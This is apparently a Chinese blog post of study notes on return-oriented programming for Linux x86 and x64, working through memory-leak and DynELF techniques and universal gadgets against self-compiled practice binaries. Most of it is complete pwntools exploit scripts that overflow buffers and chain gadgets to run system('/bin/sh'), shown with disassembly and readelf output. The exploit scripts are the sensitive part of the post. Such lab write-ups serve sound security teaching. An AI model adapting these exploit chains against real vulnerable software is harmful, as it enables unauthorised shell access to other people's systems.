目录
还是蒸米大神的:https://jiji262.github.io/wooyun_articles/drops/一步一步学ROP之linux_x64篇.html
哎,乌云怎么就挂了呢
Memory Leak & DynELF – 在不获取目标libc.so的情况下进行ROP攻击
这里是上一节的补充,还是x86的rop.
绕过DEP和ROP是有libc的情况下才能准确计算出偏移,没有的时候怎么办
这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。
那么先要实现一个leak函数,当然最少要泄露1 byte的数据,我们之前是4字节
还是level2那个程序,作者给出如下:
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data
那我们尝试解析一下,可以看到跟我们之前用write@plt函数写出write在内存中的地址的payload是一样的,只不过我们现在不是去读write@GOT的地址,而是将那个地址作为参数传入,那么我们就可以不断去读内存中4个字节的数据。
下面是我的猜想:既然能读到连续4字节的数据,而system函数的机器码一般肯定是固定或者是有特定的特征的,将读出了的数据跟我们设定好的东西进行比较或者,那么就可以
之后初始化DynELF对象
d = DynELF(leak, elf=ELF('./level2'))
然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址
遗憾的是获取不到/bin/sh的地址,那我们就只能找一些地址是固定的地方写入我们的/bin/sh字符串了
据说.bss段就是了,它用来保存全局变量的值的,地址固定,并且可以读可写。
直接用readelf就可以看到了
-S –section-headers Display the sections' header 显示节区头
root@kali:~/learn_rop# readelf -S ./rop_x86 共有 30 个节头,从偏移量 0xf68 开始: 节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481ac 0001ac 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804820c 00020c 000050 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804825c 00025c 00000c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048268 000268 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048288 000288 000008 08 A 5 0 4 [10] .rel.plt REL 08048290 000290 000020 08 AI 5 12 4 [11] .init PROGBITS 080482b0 0002b0 000023 00 AX 0 0 4 [12] .plt PROGBITS 080482e0 0002e0 000050 04 AX 0 0 16 [13] .text PROGBITS 08048330 000330 0001d2 00 AX 0 0 16 [14] .fini PROGBITS 08048504 000504 000014 00 AX 0 0 4 [15] .rodata PROGBITS 08048518 000518 000016 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 08048530 000530 000034 00 A 0 0 4 [17] .eh_frame PROGBITS 08048564 000564 0000dc 00 A 0 0 4 [18] .init_array INIT_ARRAY 08049640 000640 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049644 000644 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049648 000648 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 0804964c 00064c 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049734 000734 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049738 000738 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049754 000754 000008 00 WA 0 0 4 [25] .bss NOBITS 0804975c 00075c 000004 00 WA 0 0 1 [26] .comment PROGBITS 00000000 00075c 000039 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 000795 000106 00 0 0 1 [28] .symtab SYMTAB 00000000 00089c 000450 10 29 45 4 [29] .strtab STRTAB 00000000 000cec 000279 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
可以看到我们bss段的地址 0x0804975c
[25] .bss NOBITS 0804975c 00075c 000004 00 WA 0 0 1
我们调用read函数将我们/bin/sh写入.bss段,read函数需要3个参数
ssize_t read (int fd, void *buf, size_t count);
这里fd就是0,标准输入
buf就是我们的.bss段的地址
count为字节数
之后我们还有调用搜索出来的system函数,必须把这几个参数从栈上弹出,
那么我们就要寻找pop pop pop ret这样的指令序列,就是大神们说的gadget
这里蒸米说直接objdump查找,我找不到好办法
直接-d参数去搜索
先看看可能那里存在,再去寻找
从下到上按这几个地址找,很快就找到了,这个一般都在函数的末尾处,因为这些代码一般用于平衡堆栈
那么3个pop +ret,的地址是0x80484ed
最终的exp:
from pwn import * elf = ELF("./rop_x86") plt_write = elf.symbols['write'] plt_read = elf.symbols['read'] vul_func = 0x0804842b def leak(address): payload1 = 'a' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data p = process("./rop_x86") # p = remote("127.0.0.1", 10002) d = DynELF(leak, elf=ELF("./rop_x86")) system_addr = d.lookup('system', 'libc') print "system_addr = " + hex(system_addr) pop3ret = 0x080484ed bss_addr = 0x0804975c payload = 'a' * 140 + p32(plt_read) + p32(pop3ret) + p32(0) + p32(bss_addr) + p32(8) payload += p32(system_addr) + p32(vul_func) + p32(bss_addr) p.send(payload) p.send("/bin/sh\0") p.interactive()
运行结果,结果挂了,能泄露出system的地址,但是后面的就不能反回shell了
调试发现system是调用了的
参数也是没问题
最终停止这条指令不能动了,退出了
这个不是太懂,跟着再搜索堆溢出的时候搜到的一篇文章,作者利用原生的system和本例的进行对比
http://purpleroc.com/MD/[email protected]
作者说,整个流程是:system调用do_system,而后do_system调用execve来启动程序。
里面可以看到传入execve的第三个参数不同,即环境变量那个参数,我们的exp启动的程序中,第三个参数指向数值为0x100的地址,而标准程序则指向环境变量区。
其实作者说由于动态获取system地址的时候,由于重复read操作,造成环境变量被重写,从而引发不能正常getshell。
这是有问题的,我觉得是因为我们leak system的地址的时候,重复的write操作,又没有push操作,那么我们输入的数据就会不断地往高处覆盖,最后就覆盖了指向环境变量的栈的地址的值,导致不能getshell
那既然这样,我们把write一次打印出来8字节,这样看看应该不会覆盖了
作者可以,我不行,我就干脆改成一次泄露16字节,就可以了
作者最终的解决方案是返回地址设置成main,而不是漏洞函数,这样便于堆栈平衡的修复
我粘贴过来吧,地址改一下就好了
from pwn import * import pwnlib elf = ELF('./level2') plt_write = elf.symbols['write'] plt_read = elf.symbols['read'] add_esp = 0x80482f9 main_addr = 0x0804842D def leak(address): payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data p = process('./level2') d = DynELF(leak, elf=ELF('./level2')) system_addr = d.lookup('system', 'libc') print "system_addr=" + hex(system_addr) bss_addr = 0x0804a020 pppr = 0x80484bd payload2 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_read) + p32(main_addr) + p32(0) + p32(bss_addr) + p32(8) print "\n###sending payload2 ...###" p.send(payload2) p.send("/bin/sh\0") pwnlib.gdb.attach(p) payload3 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(system_addr) + p32(main_addr) + p32(bss_addr) + p32(0) print "\n###sending payload3 ...###" p.send(payload3+'\n') p.interactive()
linux_64与linux_86的区别
直接粘贴过来
再搞个例子学习学习,自己敲,下面的两个宏,跟0,1等价的,STDIN_FILENO-》0 ,STDOUT_FILENO-》1
aslr还是开着,编译
程序很简单,我们将返回地址覆盖成那个callsystem函数的地址就行
看一下它的地址
我们可以静态计算也可以利用插件
先用插件
PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数的ret指令中。
原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
那么我们查看当前的栈顶就知道了返回地址被覆盖成什么了,x是查看内存,g是64位地址,第二个x是16进制形式查看
其实不上ida也能猜出来,那个buf是128,刚好是8的倍数(64位系统,8字节),不用补全,
128 + 8(rbp),就是136了
那开始写exp吧
from pwn import * p = process("./mylevel3") callsystem = 0x0000000000400596 payload = 'a' * 136 + p64(callsystem) p.send(payload) p.interactive()
运行,可以
使用工具寻找gadgets
因为64位的前64个参数在寄存器上,所以我们要找类似于pop rdi;ret这样的组件
如果简单的,直接objdump找找看就好
复杂的话,一些有名工具粘贴过来了
ROPEME: https://github.com/packz/ropeme Ropper: https://github.com/sashs/Ropper ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master rp++: https://github.com/0vercl0k/rp
我们再编写一个程序level4,我就编一个mylevel4吧
加上ldl才编译成功(上网查的:是因为确实了dlopen、dlsym、dlerror、dlclose这些函数的实现,这几个函数是用于加载动态链接库的,编译的时候需要添加-ldl来使用dl库(这是静态库,在系统目录下/usr/lib/i386-linux-gnu/libdl.a、/usr/lib/x86_64-linux-gnu/libdl.a)。)
作者特意打印出system的地址,这样我们就不用管aslr了,
直接找rop组件吧,将/bin/sh传给rdi
原来应该是装pwntools的时候就装好了
使用ROPGadget搜索一下level4中所有pop ret的gadgets
rp++直接下载下来,放到PATH目录就行了
可以看到都是一样的
作者编译的程序没有那个组件,而我的就有,作者的解决是重libc里面找
libc比较大,找了很久,我们将libc的基地址加上这个地址就好了
作者说下面这个也可以用作rop,我们都试一下吧
看看运行后的程序,首先打印出system的地址,再是hello world,最后等待我们输入
使用第一个payload,payload2也是可以的,我测试过了,就不截图了
我们尝试将/bin/sh写到bss段,不用libc的/bin/sh
那么作为read的第3个参数,0x200的自己的大小,够用了,我们不用给第三个参数传值
最终exp,3种payload都在里面了
# -*- coding: utf-8 -*- from pwn import * import pwnlib libc = ELF("./libc.so.6") elf = ELF("./mylevel4") p = process("./mylevel4") read_plt = elf.plt['read'] read_got = elf.got['read'] bss_addr = 0x0000000000600cc0 vulfunc_addr = 0x4007c5 binsh_addr_offset = next(libc.search("/bin/sh")) - libc.symbols['system'] print "binsh_addr_offset = 0x%x" % binsh_addr_offset # 程序中的pop ret my_pop_ret_addr = 0x0000000000400893 # 程序中的pop rsi pop r15 ret my_pop_pop_ret = 0x00400891 # libc中的pop ret pop_ret_offset = 0x0000000000022442 - libc.symbols['system'] print "pop_ret_offset= 0x%x" % pop_ret_offset # 另一个选择的rop链 pop_pop_call_offset = 0x00000000000e6049 -libc.symbols['system'] print "pop_pop_call_offset = 0x%x" % pop_pop_call_offset # 获取system的地址 print "\n##########receiving system addr##########\n" system_addr = p.recvuntil("\n") system_addr = int(system_addr, 16) print "system_addr = 0x%x" % system_addr print "\n##########calc addr##########\n" # 收到system的地址后就计算各个rop组件的首地址了 binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr = " + hex(pop_ret_addr) pop_pop_call_addr = system_addr + pop_pop_call_offset print "pop_pop_call_addr = " + hex(pop_pop_call_addr) # 接收打印出来的HelloWorld p.recv() # 第一种思路,构造payload,利用pop_ret_addr payload = "a" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) # 第三种思路 # 先写入/bin/sh my_payload1 = "a" * 136 + p64(my_pop_ret_addr) + p64(0) + p64(my_pop_pop_ret) + p64(bss_addr) + p64(1) + p64(read_plt) + p64(vulfunc_addr) p.send(my_payload1) p.send("/bin/sh\x00") my_payload2 = "a" * 136 + p64(my_pop_ret_addr) + p64(bss_addr) + p64(system_addr) # 第二种思路的payload payload2 = "a" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) # p.send(payload) p.send(my_payload2) # p.send(payload2) p.interactive()
通用gadgets
接下来我们删掉辅助函数,编写mylevel5.c
编译
objdump反编译一下
objdump -d ./mylevel5
00000000004005a0 <__libc_csu_init>: 4005a0:41 57 push %r15 4005a2:41 89 ff mov %edi,%r15d 4005a5:41 56 push %r14 4005a7:49 89 f6 mov %rsi,%r14 4005aa:41 55 push %r13 4005ac:49 89 d5 mov %rdx,%r13 4005af:41 54 push %r12 4005b1:4c 8d 25 d0 01 20 00 lea 0x2001d0(%rip),%r12 # 600788 <__frame_dummy_init_array_entry> 4005b8:55 push %rbp 4005b9:48 8d 2d d0 01 20 00 lea 0x2001d0(%rip),%rbp # 600790 <__init_array_end> 4005c0:53 push %rbx 4005c1:4c 29 e5 sub %r12,%rbp 4005c4:31 db xor %ebx,%ebx 4005c6:48 c1 fd 03 sar $0x3,%rbp 4005ca:48 83 ec 08 sub $0x8,%rsp 4005ce:e8 0d fe ff ff callq 4003e0 <_init> 4005d3:48 85 ed test %rbp,%rbp 4005d6:74 1e je 4005f6 <__libc_csu_init+0x56> 4005d8:0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 4005df:00 4005e0:4c 89 ea mov %r13,%rdx 4005e3:4c 89 f6 mov %r14,%rsi 4005e6:44 89 ff mov %r15d,%edi 4005e9:41 ff 14 dc callq *(%r12,%rbx,8) 4005ed:48 83 c3 01 add $0x1,%rbx 4005f1:48 39 eb cmp %rbp,%rbx 4005f4:75 ea jne 4005e0 <__libc_csu_init+0x40> 4005f6:48 83 c4 08 add $0x8,%rsp 4005fa:5b pop %rbx 4005fb:5d pop %rbp 4005fc:41 5c pop %r12 4005fe:41 5d pop %r13 400600:41 5e pop %r14 400602:41 5f pop %r15 400604:c3 retq 400605:66 66 2e 0f 1f 84 00 data16 nopw %cs:0x0(%rax,%rax,1) 40060c:00 00 00 00
我们可以看到,我们可以控制这几个寄存器
那么我们利用上面控制的值,进而控制下面的edi,rsi,rdx这个决定前三个参数的寄存器
还看到下面还有个call,假如我们将rbx置为0,控制r12,就控制了PC(RIP),去执行我们想要执行的函数什么的了。
调用完call,将rbx+1(本来为0,+1就是1了)接下来就比较rbp与rbx的值,相等就继续往下执行,最后到底ret,所以我们将rbp置为1,程序就往下执行,ret回去后控制权又交给我们了
还有,rdi= edi = r13, rsi = r14, rdx = r15,他们是等价的,但是在我的程序里面就不是那样了,第一个和第三个刚好跟它相反了,rdi= edi = r15, rsi = r14, rdx = r13,所以下面的payload也要改一下
首先我们要获得write的地址,调用got_write输出got_write的地址就好了,目标是下面那样
write(rdi=1, rsi=write.got, rdx=8) 64位地址,所以输出8个字节
接下来就将system的地址和/bin/sh写入bss段
system地址放在bss的首地址,/bin/sh就是首地址+8了,既然有了,就开始构造payload,调用了
开始写exp吧,注意的是写入system地址和/bin/sh的时候,要暂停一下,等程序处理完再发送我们的system地址和/bin/sh,不然那边处理不过来
# -*- coding: utf-8 -*- from pwn import * import pwnlib libc = ELF("./libc.so.6") elf = ELF("./mylevel5") p = process("./mylevel5") main = 0x0000000000400566 bss_addr = 0x00000000006009c0 got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) system_offset = libc.symbols['write'] - libc.symbols['system'] p.recvuntil("Hello, World\n") # get write addr payload1 = "\x00"*136 # rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi payload1 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8) payload1 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56 payload1 += p64(main) #最后再调用main函数,继续执行漏洞函数 print "\n#############sending payload1 to get write_addr#############\n" p.send(payload1) write_addr = u64(p.recv(8)) # print u64(write_addr) print "write_addr = " + hex(write_addr) # calc system addr system_addr = write_addr - system_offset print "system_addr = " + hex(system_addr) #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 # rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi payload2 += p64(0x4005fa) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8) payload2 += "\x00"*56 payload2 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload2 to write system_addr and /bin/sh#############\n" p.send(payload2) sleep(1) # payload2_1 = p64(system_addr) + "/bin/sh\x00" p.send(payload2_1) p.recvuntil("Hello, World\n") #system("/bin/sh") payload3 = "\x00"*136 # rbx rbp r12(system=bss) r13(rdx)r14=rsi edi payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8) payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3 to get shell#############\n" p.send(payload3) p.interactive()
运行结果:
EDB调试器
https://github.com/eteran/edb-debugger
linux下的图形化调试器,其实是跨平台的,支持32+64位哦,看来很强大
原来kali自带,我还下载编译安装,呵呵了,结果google搜edb-debugger kali, tools.kali.org就有这工具,直接在命令行输入edb就好了
我们用上面的例子试一下调试吧,attach上去,首先我们在payload1前加个等待用户输入,
跟着attach上去
跟od的快捷键应该差不多,ctrl+g,我们去一下我们payload开始执行的地方吧
唯一不好的地方就是没高亮当前选中的行,双击一下地址处就下断点,或者右键选中下断点也可以
接下来f9或点击run
在我们的python脚本的命令行回车,发送payload1,那么就暂停下来了
接下来就可以玩od一样玩了,其实做得还可以了
学完了,挺有收获的,好了,下次继续学习蒸米下一篇….
请问楼主,在mylevel5的exp中,payload3构造时候,为什么不能够直接用system的地址,将“/bin/sh”写入bss段中,直接实现system(“/bin/sh”)而是先把system的地址写入.bss段中,再将“/bin/sh”写入bss段中,最后从bss段中取出地址再执行呢?是不是多此一举了….
在level5中,为什么得到了system的地址后还要利用read将其写入.bss段中,不能够直接调用其地址吗,只将“/bin/sh”字符串写入.bss段中 。是不是多此一举了?
因为这里是rdi传参的,不是通过栈上传递参数(不知道你是不是想这方向去了),只能通过gadgets传参并调用吧
不不,不是这个意思哈,是这样的,先通过read将”/bin/sh”写入.bss段中,之后,构造payload时,这样(原本的):
payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
改成:
payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(system_addr) + p64(0) + p64(0) + p64(bss_addr) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
system_addr已经通过write函数泄露的地址偏移计算出来了,为什么我要把它写到.bss段中呢?直接调用就可以吧?
这样实际上也是在执行system(“/bin/sh”)啊,我试验时发现不行,也不知道是为什么,可能是我对指令理解有偏差
我改成你的payload,调试了一下发现,其实不调试也应该发现的,没办法,笨,
call QWORD PTR [r12+rbx*8],那个gadgets的call是读取r12地址里面储存的去调用而不是直接call r12+rbx*8,
所以要储存到某个地方咯